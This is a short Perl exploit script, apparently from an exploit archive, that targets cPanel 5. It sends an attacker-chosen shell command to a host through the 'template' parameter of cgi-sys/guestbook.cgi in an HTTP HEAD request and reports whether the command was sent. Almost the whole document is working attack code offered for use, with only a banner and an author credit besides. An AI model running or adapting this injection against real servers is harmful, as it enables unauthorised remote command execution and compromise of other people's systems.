Remote CGI exploit for Cpanel 5 in perl.
c864b0f0ff7784fee33ce3195ab44af772d87e433277a615d8f1501004dd408e
#!usr/bin/perl
use LWP::UserAgent
print "##########################################\n";
print "# #\n";
print "# Remote Exploit for Cpanel 5 #\n";
print "# #\n";
print "##########################################\n";
print " C0d3r: CaMaLeoN\n";
die "Use: $0 <host> <command>\n" unless ($ARGV[1]);
$web=$ARGV[0];
$comando=$ARGV[1];
$fallos="cgi-sys/guestbook.cgi?user=cpanel&template=$comando";
$url="http://$web/$fallos";
$ua = LWP::UserAgent->new();
$request = HTTP::Request->new('HEAD', $url);
$response = $ua->request($request);
if ($response->code == 200){
print "Command sent.\n";
}
else
{
print "The command could not be sent.\n";
}